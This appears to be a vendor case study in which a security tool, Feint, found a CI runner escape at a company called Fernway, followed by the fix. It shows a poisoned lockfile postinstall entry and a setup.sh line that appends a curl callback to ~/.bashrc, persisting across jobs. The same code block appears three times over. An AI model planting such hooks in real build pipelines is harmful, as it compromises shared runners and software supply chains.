The situation

Fernway runs other companies’ builds, so runner isolation is the product. The team had a read-only sandbox and an active bug bounty, and assumed the obvious paths were closed.

The exploit

A poisoned lockfile convinced the build step to run a post-install script. The script wrote a shell hook to the runner’s home directory, which survived into the next job. Feint had the full chain on its first run.

# feint · poisoned lockfile entry
"left-pad-utils": {
  "version": "2.1.4",
  "scripts": { "postinstall": "sh ./setup.sh" }
}

# setup.sh plants a hook that outlives the job
echo 'curl -s https://cb.feint-test.dev/$RUNNER_NAME' >> ~/.bashrc

# next job on the same runner
->  callback received · runner ci-linux-07 · job 4412

# feint · poisoned lockfile entry
"left-pad-utils": {
  "version": "2.1.4",
  "scripts": { "postinstall": "sh ./setup.sh" }
}

# setup.sh plants a hook that outlives the job
echo 'curl -s https://cb.feint-test.dev/$RUNNER_NAME' >> ~/.bashrc

# next job on the same runner
->  callback received · runner ci-linux-07 · job 4412

# feint · poisoned lockfile entry
"left-pad-utils": {
  "version": "2.1.4",
  "scripts": { "postinstall": "sh ./setup.sh" }
}

# setup.sh plants a hook that outlives the job
echo 'curl -s https://cb.feint-test.dev/$RUNNER_NAME' >> ~/.bashrc

# next job on the same runner
->  callback received · runner ci-linux-07 · job 4412

The fix

One pull request cleaned the home directory between jobs and blocked install scripts by default. Fernway then rebuilt runner isolation around the same boundary.

What changed

Feint now re-runs the escape on every merge to the runner image. With the class of bug closed at the root, bug bounty costs dropped by 70%.